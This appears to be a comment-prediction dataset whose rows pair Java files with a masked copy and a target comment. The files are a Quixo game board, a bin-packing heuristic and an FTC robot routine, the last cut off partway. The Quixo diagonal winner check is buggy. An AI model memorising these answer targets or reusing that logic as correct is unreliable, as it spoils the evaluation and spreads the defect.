(spelData[0] == 1 || spelData[0] == 2)){ //checkt voor diagonaal van linksboven naar rechtsonder
if(spelData[12] == 3) {
winnaar = "kruis";
if(strTypeSpeler1 == winnaar){
strSpelerWinnaar = strSpeler1;
} else {
strSpelerWinnaar = strSpeler2;
}
}
if(spelData[12] == 4) {
winnaar = "rond";
if(strTypeSpeler1 == winnaar){
strSpelerWinnaar = strSpeler1;
} else {
strSpelerWinnaar = strSpeler2;
}
}
return true;
}
if( (spelData[20] == spelData[16]) &&
(spelData[20] == spelData[12]) &&
(spelData[20] == spelData[8]) &&
(spelData[20] == spelData[4]) &&
(spelData[20] == 1 || spelData[20] == 2)){ //checkt voor diagonaal van linksonder naar rechtsboven
if(spelData[12] == 3) {
winnaar = "kruis";
if(strTypeSpeler1 == winnaar){
strSpelerWinnaar = strSpeler1;
} else {
strSpelerWinnaar = strSpeler2;
}
}
if(spelData[12] == 4) { // deze checkt alleen blokje 12 dit is de middelste
winnaar = "rond"; // want alleen deze verandert bij diagnaal
if(strTypeSpeler1 == winnaar){
strSpelerWinnaar = strSpeler1;
} else {
strSpelerWinnaar = strSpeler2;
}
}
return true;
}
return false;
}
public void schoonVelden() {
for(int k = 0; k < spelData.length; k++){
if(spelData[k] == 3 || spelData[k] == 4){
spelData[k] = 0;
} else if(spelData[k] == 5){
spelData[k] = 1;
} else if(spelData[k] == 6){
spelData[k] = 2;
}
}
}
//Acties die ondernomen moeten worden als er wordt geklikt op de ingame help- of menuknop, wie er aan de beurt is en waar het blokje mag worden neergezet.
@Override
public void mouseClicked(MouseEvent e) {
if(e.getSource() == help){
ToonIngameHelp toonIngameHelp = new ToonIngameHelp(spelFrame, strSpeler1, strSpeler2, strTypeSpeler1, strTypeSpeler2, spelData, strSpelerZet, strTypeSpelerZet, selected);
toonIngameHelp.run();
}
if(e.getSource() == menu){
ToonIngameOpties toonIngameOpties = new ToonIngameOpties(spelFrame, strSpeler1, strSpeler2, strTypeSpeler1, strTypeSpeler2, spelData, strSpelerZet, strTypeSpelerZet, selected);
toonIngameOpties.run();
}
for(int i = 0; i < 25; i++){
if(e.getSource() == blokken[i]){
String buttonNaam = ((JComponent) e.getSource()).getName();
int nr = Integer.parseInt(buttonNaam);
if(spelData[i] == 0) {
if(i == 6 || i == 7 || i == 8 || i == 11 || i == 12 || i == 13 || i == 16 || i == 17 || i == 18){
} else {
schoonVelden();
berekenOptie(i, 0);
//blauwe balk wordt aangemaakt.
spelData[i] = 4;
//selected wordt toegewezen aan de int.
selected = i;
ToonSpelbord toonSpelbord = new ToonSpelbord(spelFrame, strSpeler1, strSpeler2, strTypeSpeler1, strTypeSpeler2, spelData, strSpelerZet, strTypeSpelerZet, selected);
toonSpelbord.run();
}
} else if(spelData[i] == 3) {
int temp;
if (strTypeSpelerZet == "kruis") {
temp = 1;
} else {
temp = 2;
}
schoonVelden();
spelData[i] = temp;
if (strSpelerZet.equals(strSpeler1)) {
strSpelerZet = strSpeler2;
} else {
strSpelerZet = strSpeler1;
}
if (strTypeSpelerZet == "kruis") {
strTypeSpelerZet = "rond";
} else {
strTypeSpelerZet = "kruis";
}
ToonSpelbord toonSpelbord = new ToonSpelbord(spelFrame, strSpeler1, strSpeler2, strTypeSpeler1, strTypeSpeler2, spelData, strSpelerZet, strTypeSpelerZet, selected);
toonSpelbord.run();
} else if(spelData[i] == 5 || spelData[i] == 6) {
int temp;
if (strTypeSpelerZet == "kruis") {
temp = 1;
} else {
temp = 2;
}
schoonVelden();
berekenOptie(i, 1);
spelData[i] = temp;
if (strSpelerZet.equals(strSpeler1)) {
strSpelerZet = strSpeler2;
} else {
strSpelerZet = strSpeler1;
}
if (strTypeSpelerZet == "kruis") {
strTypeSpelerZet = "rond";
} else {
strTypeSpelerZet = "kruis";
}
ToonSpelbord toonSpelbord = new ToonSpelbord(spelFrame, strSpeler1, strSpeler2, strTypeSpeler1, strTypeSpeler2, spelData, strSpelerZet, strTypeSpelerZet, selected);
toonSpelbord.run();
}
}
}
}
@Override
public void mousePressed(MouseEvent e) {
}
@Override
public void mouseReleased(MouseEvent e) {
}
//Hier worden de acties beschreven die ondernomen moeten worden als de muis over het spelbord beweegt.
@Override
public void mouseEntered(MouseEvent e) {
for(int i = 0; i < 25; i++){
if(e.getSource() == blokken[i]){
String buttonNaam = ((JComponent) e.getSource()).getName();
int nr = Integer.parseInt(buttonNaam);
if(spelData[i] == 0) {
if(i == 6 || i == 7 || i == 8 || i == 11 || i == 12 || i == 13 || i == 16 || i == 17 || i == 18){
blokken[nr].setRolloverIcon(new ImageIcon("src/resources/spel/1.png"));
} else {
blokken[nr].setRolloverIcon(new ImageIcon("src/resources/spel/5.png"));
}
}
}
}
}
@Override
public void mouseExited(MouseEvent e) {
}
class TimeListener implements ActionListener {
@Override
public void actionPerformed(ActionEvent e) {
/*
Het hoofdmenu wordt hier aangeroepen.
Dit is pas nadat het splashscreen 3 seconde is getoond.
*/
if(checkWinnaar() == true){
ToonWinnaar toonWinnaar = new ToonWinnaar(spelFrame, strSpeler1, strSpeler2, strTypeSpeler1, strTypeSpeler2, strSpelerWinnaar);
toonWinnaar.run();
}
timer.stop();
}
}
} | 0xbart/QuixoJavaGame | src/spel/SpelBord.java | 7,684 | //Nieuwe rij na het verzetten van blokje | line_comment | nl | package spel;
import spel.ingamehelp.ToonIngameHelp;
import spel.opties.ToonIngameOpties;
import spel.winnaar.ToonWinnaar;
import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
/**
* Created by Bart on 15-4-2014.
*/
public class SpelBord extends JPanel implements MouseListener {
private JFrame spelFrame;
private JLabel background, help, menu, jlSpeler1, jlSpeler2, jlTypeSpeler1, jlTypeSpeler2, jlSpelerZet;
private JButton[] blokken = new JButton[25];
private Timer timer;
private String strSpelerZet;
private String strTypeSpelerZet;
private String strSpeler1;
private String winnaar = "Geen Winnaar";
private String strSpeler2;
private String strTypeSpeler1;
private String strTypeSpeler2;
private String strSpelerWinnaar;
private int [] spelData = {
0, 0, 0, 0, 0,
0, 0, 0, 0, 0,
0, 0, 0, 0, 0,
0, 0, 0, 0, 0,
0, 0, 0, 0, 0,
};
private int selected;
public SpelBord (JFrame spelFrame, String strSpeler1, String strSpeler2, String strTypeSpeler1, String strTypeSpeler2, int[] spelData, String strSpelerZet, String strTypeSpelerZet, int selected) {
this.spelFrame = spelFrame;
this.strSpeler1 = strSpeler1;
this.strSpeler2 = strSpeler2;
this.strTypeSpeler1 = strTypeSpeler1;
this.strTypeSpeler2 = strTypeSpeler2;
this.spelData = spelData;
this.strSpelerZet = strSpelerZet;
this.strTypeSpelerZet = strTypeSpelerZet;
this.selected = selected;
if(checkWinnaar() == true){
TimeListener tlTimer = new TimeListener();
timer = new Timer(1, tlTimer);
timer.start();
}
maakAchtergrond();
maakButtons();
maakHelp();
maakMenu();
toevoegenButtons();
maakLabels();
checkWinnaar();
add(help);
add(menu);
add(jlSpeler1);
add(jlSpeler2);
add(jlTypeSpeler1);
add(jlTypeSpeler2);
add(jlSpelerZet);
setLayout(new BorderLayout());
add(background);
}
//Achtergrond wordt hiermee aangemaakt.
private void maakAchtergrond(){
background = new JLabel(new ImageIcon("src/resources/achtergrond/spelveld_bg.png"));
}
//Ingame helpknop wordt hiermee aangemaakt.
private void maakHelp() {
help = new JLabel(new ImageIcon("src/resources/buttons/help.png"));
help.setBounds(495, 10, 40, 40);
help.setBorder(null);
help.addMouseListener(this);
}
//Ingame menuknop wordt hiermee aangemaakt.
private void maakMenu() {
menu = new JLabel(new ImageIcon("src/resources/buttons/menu.png"));
menu.setBounds(15, 468, 121, 48);
menu.setBorder(null);
menu.addMouseListener(this);
}
//Labels worden aangemaakt met de naam van de spelers, het type blokje waar ze mee spelen en wie er aan zet is.
private void maakLabels() {
jlSpeler1 = new JLabel("Naam 1: " + strSpeler1);
jlSpeler1.setBounds(15, 15, 400, 15);
jlSpeler2 = new JLabel("Naam 2: " + strSpeler2);
jlSpeler2.setBounds(15, 35, 400, 15);
jlTypeSpeler1 = new JLabel(strSpeler1 + " speelt met: " + strTypeSpeler1);
jlTypeSpeler1.setBounds(15, 55, 400, 15);
jlTypeSpeler2 = new JLabel(strSpeler2 + " speelt met: " + strTypeSpeler2);
jlTypeSpeler2.setBounds(15, 75, 400, 15);
jlSpelerZet = new JLabel(strSpelerZet + " is aan zet");
jlSpelerZet.setBounds(15, 95, 400, 15);
}
//Blokjes worden aangemaakt met bijbehorende afbeeldingen.
private void maakButtons() {
int c = 0;
for(int i = 0; i < 5; i++){
for(int j = 0; j < 5; j++){
if(spelData[c] == 0) {
blokken[c] = new JButton(new ImageIcon("src/resources/spel/1.png"));
} else if(spelData[c] == 1) {
blokken[c] = new JButton(new ImageIcon("src/resources/spel/3.png"));
} else if(spelData[c] == 2) {
blokken[c] = new JButton(new ImageIcon("src/resources/spel/4.png"));
} else if(spelData[c] == 3) {
blokken[c] = new JButton(new ImageIcon("src/resources/spel/2.png"));
} else if(spelData[c] == 4) {
blokken[c] = new JButton(new ImageIcon("src/resources/spel/5.png"));
} else if(spelData[c] == 5) {
blokken[c] = new JButton(new ImageIcon("src/resources/spel/6.png"));
} else if(spelData[c] == 6) {
blokken[c] = new JButton(new ImageIcon("src/resources/spel/7.png"));
}
blokken[c].setBounds(130 + (j*57), 148 + (i*57), 57, 57);
blokken[c].setBorder(null);
blokken[c].addMouseListener(this);
String naam = "" + c;
blokken[c].setName(naam);
c++;
}
}
}
//Blokjes worden toegevoegd aan het spelbord.
private void toevoegenButtons() {
for(int i = 0; i < 25; i++){
add(blokken[i]);
}
}
//Hiermee wordt berekent waar een blokje mag worden neergezet.
private void berekenOptie(int i, int j) {
if(j == 0) {
int[][] veldArrData = {
{0, 4, 20},
{0, 4, 21},
{0, 4, 22},
{0, 4, 23},
{0, 4, 24},
{0, 9, 20},
{},
{},
{},
{4, 5, 24},
{0, 14, 20},
{},
{},
{},
{4, 10, 24},
{0, 19, 20},
{},
{},
{},
{4, 15, 24},
{0, 20, 24},
{1, 20, 24},
{2, 20, 24},
{3, 20, 24},
{4, 20, 24}
};
for (int k = 0; k < veldArrData.length; k++) {
if (i == k) {
for (int l = 0; l < veldArrData[i].length; l++) {
if (spelData[veldArrData[i][l]] == 0) {
spelData[veldArrData[i][l]] = 3;
} else if (spelData[veldArrData[i][l]] == 1) {
spelData[veldArrData[i][l]] = 5;
} else if (spelData[veldArrData[i][l]] == 2) {
spelData[veldArrData[i][l]] = 6;
}
}
}
}
}
if(j == 1){
int rijOude = selected / 5; //Oude rij van blokje.
int kolomOude = selected % 5; //Oude kolom van blokje.
int rijNieuwe = i / 5; //Nieuwe rij<SUF>
int kolomNieuwe = i % 5; //Nieuwe kolom na het verzetten van blokje
if ( rijOude == rijNieuwe ) { // VERSCHUIF HORIZONTAAL
if (kolomOude < kolomNieuwe) { // LINKS...
if(i >= 0 && i <= 4){
spelData[0] = spelData[1];
spelData[1] = spelData[2];
spelData[2] = spelData[3];
spelData[3] = spelData[4];
} else if(i >= 5 && i <= 9){
spelData[5] = spelData[6];
spelData[6] = spelData[7];
spelData[7] = spelData[8];
spelData[8] = spelData[9];
} else if(i >= 10 && i <= 14){
spelData[10] = spelData[11];
spelData[11] = spelData[12];
spelData[12] = spelData[13];
spelData[13] = spelData[14];
} else if(i >= 15 && i <= 19){
spelData[15] = spelData[16];
spelData[16] = spelData[17];
spelData[17] = spelData[18];
spelData[18] = spelData[19];
} else {
spelData[20] = spelData[21];
spelData[21] = spelData[22];
spelData[22] = spelData[23];
spelData[23] = spelData[24];
}
} else if (kolomOude > kolomNieuwe) { // RECHTS
if(i >= 0 && i <= 4){
spelData[4] = spelData[3];
spelData[3] = spelData[2];
spelData[2] = spelData[1];
spelData[1] = spelData[0];
} else if(i >= 5 && i <= 9){
spelData[9] = spelData[8];
spelData[8] = spelData[7];
spelData[7] = spelData[6];
spelData[6] = spelData[5];
} else if(i >= 10 && i <= 14){
spelData[14] = spelData[13];
spelData[13] = spelData[12];
spelData[12] = spelData[11];
spelData[11] = spelData[10];
} else if(i >= 15 && i <= 19){
spelData[19] = spelData[18];
spelData[18] = spelData[17];
spelData[17] = spelData[16];
spelData[16] = spelData[15];
} else {
spelData[24] = spelData[23];
spelData[23] = spelData[22];
spelData[22] = spelData[21];
spelData[21] = spelData[20];
}
} else {
/* GEEN BLOKJE GEKOZEN */
}
} else if (kolomOude == kolomNieuwe ) { // VERSCHUIF VERTIKAAL
if (rijOude < rijNieuwe) { // OMHOOG
if(kolomNieuwe == 0){
spelData[0] = spelData[5];
spelData[5] = spelData[10];
spelData[10] = spelData[15];
spelData[15] = spelData[20];
} else if(kolomNieuwe == 1){
spelData[1] = spelData[6];
spelData[6] = spelData[11];
spelData[11] = spelData[16];
spelData[16] = spelData[21];
} else if(kolomNieuwe == 2){
spelData[2] = spelData[7];
spelData[7] = spelData[12];
spelData[12] = spelData[17];
spelData[17] = spelData[22];
} else if(kolomNieuwe == 3){
spelData[3] = spelData[8];
spelData[8] = spelData[13];
spelData[13] = spelData[18];
spelData[18] = spelData[23];
} else {
spelData[4] = spelData[9];
spelData[9] = spelData[14];
spelData[14] = spelData[19];
spelData[19] = spelData[24];
}
} else if (rijOude > rijNieuwe) { // OMLAAG
if(kolomNieuwe == 0){
spelData[20] = spelData[15];
spelData[15] = spelData[10];
spelData[10] = spelData[5];
spelData[5] = spelData[0];
} else if(kolomNieuwe == 1){
spelData[21] = spelData[16];
spelData[16] = spelData[11];
spelData[11] = spelData[6];
spelData[6] = spelData[1];
} else if(kolomNieuwe == 2){
spelData[22] = spelData[17];
spelData[17] = spelData[12];
spelData[12] = spelData[7];
spelData[7] = spelData[2];
} else if(kolomNieuwe == 3){
spelData[23] = spelData[18];
spelData[18] = spelData[13];
spelData[13] = spelData[8];
spelData[8] = spelData[3];
} else {
spelData[24] = spelData[19];
spelData[19] = spelData[14];
spelData[14] = spelData[9];
spelData[9] = spelData[4];
}
} else {
/* GEEN BLOKJE GEKOZEN */
}
}
}
}
//Hiermee wordt de winnaar berekent.
private boolean checkWinnaar() {
int winCount = 0, i, j, k, l;
int n = 5;
for (i = 0; i < (n * n) ; i = i + n) { //checkt rijen of er 5 op een rij liggen (kruisje)
for (j = i; j < (i + n -1); j++) {
if (spelData[j] == spelData[j + 1]) {
if(spelData[j] == 1) {
winCount++;
}
}
}
if (winCount == (n - 1)) {
winnaar = "kruis";
if(strTypeSpeler1 == winnaar){
strSpelerWinnaar = strSpeler1;
} else {
strSpelerWinnaar = strSpeler2;
}
return true;
}
winCount = 0;
}
for (i = 0; i < (n * n) ; i = i + n) { //checkt rijen of er 5 op een rij liggen (rondje))
for (j = i; j < (i + n -1); j++) {
if (spelData[j] == spelData[j + 1]) {
if(spelData[j] == 2) {
winCount++;
}
}
}
if (winCount == (n - 1)) {
winnaar = "rond";
if(strTypeSpeler1 == winnaar){
strSpelerWinnaar = strSpeler1;
} else {
strSpelerWinnaar = strSpeler2;
}
return true;
}
winCount = 0;
}
for(k = 0; k < n; k++) { //Checkt kolommen of er 5 op een rij liggen (kruisje))
for(l = k; l < (n * (n-1)); l = l + n) {
if(spelData[l] == spelData[l + 5]) {
if(spelData[l] == 1) {
winCount++;
}
}
}
if(winCount == (n-1)) {
winnaar = "kruis";
if(strTypeSpeler1 == winnaar){
strSpelerWinnaar = strSpeler1;
} else {
strSpelerWinnaar = strSpeler2;
}
return true;
}
winCount = 0;
}
for(k = 0; k < n; k++) { //Checkt kolommen of er 5 op een rij liggen (rondje))
for(l = k; l < (n * (n-1)); l = l + n) {
if(spelData[l] == spelData[l + 5]) {
if(spelData[l] == 2) {
winCount++;
}
}
}
if(winCount == (n-1)) {
winnaar = "rond";
if(strTypeSpeler1 == winnaar){
strSpelerWinnaar = strSpeler1;
} else {
strSpelerWinnaar = strSpeler2;
}
return true;
}
winCount = 0;
}
if( (spelData[0] == spelData[6]) &&
(spelData[0] == spelData[12]) &&
(spelData[0] == spelData[18]) &&
(spelData[0] == spelData[24]) &&
(spelData[0] == 1 || spelData[0] == 2)){ //checkt voor diagonaal van linksboven naar rechtsonder
if(spelData[12] == 3) {
winnaar = "kruis";
if(strTypeSpeler1 == winnaar){
strSpelerWinnaar = strSpeler1;
} else {
strSpelerWinnaar = strSpeler2;
}
}
if(spelData[12] == 4) {
winnaar = "rond";
if(strTypeSpeler1 == winnaar){
strSpelerWinnaar = strSpeler1;
} else {
strSpelerWinnaar = strSpeler2;
}
}
return true;
}
if( (spelData[20] == spelData[16]) &&
(spelData[20] == spelData[12]) &&
(spelData[20] == spelData[8]) &&
(spelData[20] == spelData[4]) &&
(spelData[20] == 1 || spelData[20] == 2)){ //checkt voor diagonaal van linksonder naar rechtsboven
if(spelData[12] == 3) {
winnaar = "kruis";
if(strTypeSpeler1 == winnaar){
strSpelerWinnaar = strSpeler1;
} else {
strSpelerWinnaar = strSpeler2;
}
}
if(spelData[12] == 4) { // deze checkt alleen blokje 12 dit is de middelste
winnaar = "rond"; // want alleen deze verandert bij diagnaal
if(strTypeSpeler1 == winnaar){
strSpelerWinnaar = strSpeler1;
} else {
strSpelerWinnaar = strSpeler2;
}
}
return true;
}
return false;
}
public void schoonVelden() {
for(int k = 0; k < spelData.length; k++){
if(spelData[k] == 3 || spelData[k] == 4){
spelData[k] = 0;
} else if(spelData[k] == 5){
spelData[k] = 1;
} else if(spelData[k] == 6){
spelData[k] = 2;
}
}
}
//Acties die ondernomen moeten worden als er wordt geklikt op de ingame help- of menuknop, wie er aan de beurt is en waar het blokje mag worden neergezet.
@Override
public void mouseClicked(MouseEvent e) {
if(e.getSource() == help){
ToonIngameHelp toonIngameHelp = new ToonIngameHelp(spelFrame, strSpeler1, strSpeler2, strTypeSpeler1, strTypeSpeler2, spelData, strSpelerZet, strTypeSpelerZet, selected);
toonIngameHelp.run();
}
if(e.getSource() == menu){
ToonIngameOpties toonIngameOpties = new ToonIngameOpties(spelFrame, strSpeler1, strSpeler2, strTypeSpeler1, strTypeSpeler2, spelData, strSpelerZet, strTypeSpelerZet, selected);
toonIngameOpties.run();
}
for(int i = 0; i < 25; i++){
if(e.getSource() == blokken[i]){
String buttonNaam = ((JComponent) e.getSource()).getName();
int nr = Integer.parseInt(buttonNaam);
if(spelData[i] == 0) {
if(i == 6 || i == 7 || i == 8 || i == 11 || i == 12 || i == 13 || i == 16 || i == 17 || i == 18){
} else {
schoonVelden();
berekenOptie(i, 0);
//blauwe balk wordt aangemaakt.
spelData[i] = 4;
//selected wordt toegewezen aan de int.
selected = i;
ToonSpelbord toonSpelbord = new ToonSpelbord(spelFrame, strSpeler1, strSpeler2, strTypeSpeler1, strTypeSpeler2, spelData, strSpelerZet, strTypeSpelerZet, selected);
toonSpelbord.run();
}
} else if(spelData[i] == 3) {
int temp;
if (strTypeSpelerZet == "kruis") {
temp = 1;
} else {
temp = 2;
}
schoonVelden();
spelData[i] = temp;
if (strSpelerZet.equals(strSpeler1)) {
strSpelerZet = strSpeler2;
} else {
strSpelerZet = strSpeler1;
}
if (strTypeSpelerZet == "kruis") {
strTypeSpelerZet = "rond";
} else {
strTypeSpelerZet = "kruis";
}
ToonSpelbord toonSpelbord = new ToonSpelbord(spelFrame, strSpeler1, strSpeler2, strTypeSpeler1, strTypeSpeler2, spelData, strSpelerZet, strTypeSpelerZet, selected);
toonSpelbord.run();
} else if(spelData[i] == 5 || spelData[i] == 6) {
int temp;
if (strTypeSpelerZet == "kruis") {
temp = 1;
} else {
temp = 2;
}
schoonVelden();
berekenOptie(i, 1);
spelData[i] = temp;
if (strSpelerZet.equals(strSpeler1)) {
strSpelerZet = strSpeler2;
} else {
strSpelerZet = strSpeler1;
}
if (strTypeSpelerZet == "kruis") {
strTypeSpelerZet = "rond";
} else {
strTypeSpelerZet = "kruis";
}
ToonSpelbord toonSpelbord = new ToonSpelbord(spelFrame, strSpeler1, strSpeler2, strTypeSpeler1, strTypeSpeler2, spelData, strSpelerZet, strTypeSpelerZet, selected);
toonSpelbord.run();
}
}
}
}
@Override
public void mousePressed(MouseEvent e) {
}
@Override
public void mouseReleased(MouseEvent e) {
}
//Hier worden de acties beschreven die ondernomen moeten worden als de muis over het spelbord beweegt.
@Override
public void mouseEntered(MouseEvent e) {
for(int i = 0; i < 25; i++){
if(e.getSource() == blokken[i]){
String buttonNaam = ((JComponent) e.getSource()).getName();
int nr = Integer.parseInt(buttonNaam);
if(spelData[i] == 0) {
if(i == 6 || i == 7 || i == 8 || i == 11 || i == 12 || i == 13 || i == 16 || i == 17 || i == 18){
blokken[nr].setRolloverIcon(new ImageIcon("src/resources/spel/1.png"));
} else {
blokken[nr].setRolloverIcon(new ImageIcon("src/resources/spel/5.png"));
}
}
}
}
}
@Override
public void mouseExited(MouseEvent e) {
}
class TimeListener implements ActionListener {
@Override
public void actionPerformed(ActionEvent e) {
/*
Het hoofdmenu wordt hier aangeroepen.
Dit is pas nadat het splashscreen 3 seconde is getoond.
*/
if(checkWinnaar() == true){
ToonWinnaar toonWinnaar = new ToonWinnaar(spelFrame, strSpeler1, strSpeler2, strTypeSpeler1, strTypeSpeler2, strSpelerWinnaar);
toonWinnaar.run();
}
timer.stop();
}
}
} |
142662_2 | package bpp_sim.Functions;
import bpp_sim.Doos;
import bpp_sim.Product;
import java.util.ArrayList;
/*
Onze eigen bedachte functie - FullNFD
Ofwel - Even/uneven-functie
*/
public class FirstFullNFD implements BPP{
@Override
public ArrayList<Doos> berekenOplossing(ArrayList<Product> producten) {
/* Voor elk product, gooi het in een EVEN of ONEVEN-lijst. */
ArrayList<Product> EVEN = new ArrayList<>();
ArrayList<Product> ODD = new ArrayList<>();
for(Product p: producten){
if(p.getSize() % 2 == 0){
EVEN.add(p);
}
else{
ODD.add(p);
}
}
/*
Gooi het in een nieuwe lijst:
EVEN-ONEVEN-EVEN-ONEVEN-EVEN-ONEVEN-EVEN-ONEVEN-EVEN-ONEVEN-EVEN-ONEVEN-EVEN-ONEVEN-EVEN.
*/
int j = producten.size();
producten.clear();
for(int i = 0; i < j; i++){
try{producten.add(EVEN.get(i));}catch(Exception ex){}
try{producten.add(ODD.get(i));}catch(Exception ex){}
}
ArrayList<Doos> dozen = new ArrayList<>();
//Voor elk product...
for(Product p: producten){
boolean isPlaced = false;
//Controleer elke doos of er plek is.
for(int i = 0; i < dozen.size(); i++){
if(!isPlaced && dozen.get(i).getFreeSpace() >= p.getSize()){
dozen.get(i).addProduct(p);
isPlaced = true;
}
}
//Maak een nieuwe doos aan als er geen enkele doos was
//die nog plek had.
if(isPlaced == false){
Doos d = new Doos();
d.addProduct(p);
dozen.add(d);
}
}
return dozen;
}
}
| 13r1ckz/KBS-Magazijn | BPP-SIMULATOR/src/bpp_sim/Functions/FirstFullNFD.java | 600 | /*
Gooi het in een nieuwe lijst:
EVEN-ONEVEN-EVEN-ONEVEN-EVEN-ONEVEN-EVEN-ONEVEN-EVEN-ONEVEN-EVEN-ONEVEN-EVEN-ONEVEN-EVEN.
*/ | block_comment | nl | package bpp_sim.Functions;
import bpp_sim.Doos;
import bpp_sim.Product;
import java.util.ArrayList;
/*
Onze eigen bedachte functie - FullNFD
Ofwel - Even/uneven-functie
*/
public class FirstFullNFD implements BPP{
@Override
public ArrayList<Doos> berekenOplossing(ArrayList<Product> producten) {
/* Voor elk product, gooi het in een EVEN of ONEVEN-lijst. */
ArrayList<Product> EVEN = new ArrayList<>();
ArrayList<Product> ODD = new ArrayList<>();
for(Product p: producten){
if(p.getSize() % 2 == 0){
EVEN.add(p);
}
else{
ODD.add(p);
}
}
/*
Gooi het in<SUF>*/
int j = producten.size();
producten.clear();
for(int i = 0; i < j; i++){
try{producten.add(EVEN.get(i));}catch(Exception ex){}
try{producten.add(ODD.get(i));}catch(Exception ex){}
}
ArrayList<Doos> dozen = new ArrayList<>();
//Voor elk product...
for(Product p: producten){
boolean isPlaced = false;
//Controleer elke doos of er plek is.
for(int i = 0; i < dozen.size(); i++){
if(!isPlaced && dozen.get(i).getFreeSpace() >= p.getSize()){
dozen.get(i).addProduct(p);
isPlaced = true;
}
}
//Maak een nieuwe doos aan als er geen enkele doos was
//die nog plek had.
if(isPlaced == false){
Doos d = new Doos();
d.addProduct(p);
dozen.add(d);
}
}
return dozen;
}
}
|
28346_9 | package org.firstinspires.ftc.teamcode.autonomousroutes;
import com.qualcomm.robotcore.eventloop.opmode.Autonomous;
import com.qualcomm.robotcore.eventloop.opmode.LinearOpMode;
import org.firstinspires.ftc.teamcode.autonomousclasses.BezierCurveRoute;
import org.firstinspires.ftc.teamcode.robots.CompetitionRobot;
/** Comment to make the program disappear from the driverstation app. */
@Autonomous
public class RedStart1VisionPushParkB extends LinearOpMode {
private final boolean BLUE_SIDE = false;
private final boolean SKIP_VISION = false;
private BezierCurveRoute case0;
private BezierCurveRoute case2;
private BezierCurveRoute case0ParkB;
private BezierCurveRoute case1ParkB;
private BezierCurveRoute case2ParkB;
private CompetitionRobot robot;
private void initAutonomous() {
robot = new CompetitionRobot(this);
case0 = new BezierCurveRoute(
new double[] {-134.835833333334, 221.373750000001, -150.769166666667, 36.0989583333336}, //The x-coefficients
new double[] {-5.57666666666569, 65.7249999999985, 155.350000000001, -151.1675}, //The y-coefficients
robot,
0.4,
BezierCurveRoute.DRIVE_METHOD.STRAFE, //STRAFE or FOLLOW
this
);
case2 = new BezierCurveRoute(
new double[] {6.37333333333339, -11.9500000000003, -27.0866666666663, 52.9783333333332}, //The x-coefficients
new double[] {195.98, -169.69, 7.96666666666653, 29.4766666666668}, //The y-coefficients
robot,
0.4,
BezierCurveRoute.DRIVE_METHOD.STRAFE, //STRAFE or FOLLOW
this
);
case0ParkB= new BezierCurveRoute(
new double[] {-12.1989583333324, -1351.993125, 7146.846875, -15288.7802083333, 15483.615, -7288.35479166666, 1574.16354166666}, //The x-coefficients
new double[] {-408.490833333334, 2329.6525, -6601.37916666666, 14366.8875, -18804.52, 12077.6658333333, -2888.51416666666}, //The y-coefficients
robot,
0.4,
BezierCurveRoute.DRIVE_METHOD.STRAFE, //STRAFE or FOLLOW
this
);
case1ParkB = new BezierCurveRoute(
new double[] {-525.252291666667, 2972.711875, -8830.303125, 15647.778125, -17231.9, 10713.1252083333, -2509.54979166667}, //The x-coefficients
new double[] {73.8908333333343, -798.857500000003, 4133.70416666667, -7758.53750000001, 6842.57000000001, -2920.77916666668, 490.945833333336}, //The y-coefficients
robot,
0.4,
BezierCurveRoute.DRIVE_METHOD.STRAFE, //STRAFE or FOLLOW
this
);
case2ParkB = new BezierCurveRoute(
new double[] {-525.252291666667, 2972.711875, -8830.303125, 15647.778125, -17231.9, 10713.1252083333, -2509.54979166667}, //The x-coefficients
new double[] {73.8908333333343, -798.857500000003, 4133.70416666667, -7758.53750000001, 6842.57000000001, -2920.77916666668, 490.945833333336}, //The y-coefficients
robot,
0.4,
BezierCurveRoute.DRIVE_METHOD.STRAFE, //STRAFE or FOLLOW
this
);
}
@Override
public void runOpMode() {
int markerPosition = 1;
initAutonomous();
robot.grabber.grab();
sleep(1000);
// TODO: Hier 1 functie van maken.
while (!isStarted() && !isStopRequested()) {
markerPosition = robot.webcam.getMarkerPosition(BLUE_SIDE);
// result
telemetry.addData("Position", markerPosition);
telemetry.update();
}
// Jeroen denkt dat dit niet nodig is.
waitForStart();
// Choose default option if skip.
if (SKIP_VISION) {
markerPosition = 1;
}
switch (markerPosition) {
case 0: // LEFT
leftPixelPlacement();
return;
case 2: // RIGHT
rightPixelPlacement();
return;
default: // Default MIDDLE
middlePixelPlacement();
return;
}
}
private void middlePixelPlacement() {
robot.arm.AutoArmToBoardPosition();
sleep(1000);
robot.tiltMechanism.TiltMechanismStartPosition();
sleep(200);
//Push pixel naar de middelste streep.
robot.drivetrain.driveStraight(65, 0.4);
sleep(200);
robot.pusher.release();
sleep(200);
robot.tiltMechanism.TiltMechanismDown();
//Rij een stuk naar achter zodat de pixel niet meer onder de robot ligt.
robot.drivetrain.driveStraight(-25, 0.4);
//Rij naar de backstage en parkeer.
case1ParkB.executeWithPointSkip();
robot.drivetrain.driveStraight(-5, 0.4);
}
private void rightPixelPlacement() {
robot.arm.AutoArmToBoardPosition();
sleep(1000);
robot.drivetrain.driveStraight(45, 0.4);
robot.drivetrain.turnRobotAO(45);
robot.drivetrain.driveStraight(20, 0.4);
sleep(200);
robot.pusher.release();
sleep(200);
robot.drivetrain.driveStraight(-20, 0.4);
robot.drivetrain.turnRobotAO(0);
robot.drivetrain.driveStraight(10, 0.4);
//Rij naar de backstage en parkeer.
case2ParkB.executeWithPointSkip();
robot.drivetrain.driveStraight(-5, 0.4);
}
private void leftPixelPlacement() {
robot.arm.AutoArmToBoardPosition();
sleep(1000);
robot.tiltMechanism.TiltMechanismStartPosition();
sleep(200);
//Push pixel naar de linker streep.
case0.executeWithPointSkip();
sleep(200);
robot.pusher.release();
sleep(200);
//Rij een stuk naar achter zodat de pixel niet meer onder de robot ligt.
robot.drivetrain.driveStraight(-10, 0.4);
robot.tiltMechanism.TiltMechanismDown();
//Rij naar de backstage en parkeer.
case0ParkB.executeWithPointSkip();
robot.drivetrain.driveStraight(-5, 0.4);
}
} | 16788-TheEncryptedGentlemen/FtcRobotController | TeamCode/src/main/java/org/firstinspires/ftc/teamcode/autonomousroutes/RedStart1VisionPushParkB.java | 2,111 | //Push pixel naar de middelste streep. | line_comment | nl | package org.firstinspires.ftc.teamcode.autonomousroutes;
import com.qualcomm.robotcore.eventloop.opmode.Autonomous;
import com.qualcomm.robotcore.eventloop.opmode.LinearOpMode;
import org.firstinspires.ftc.teamcode.autonomousclasses.BezierCurveRoute;
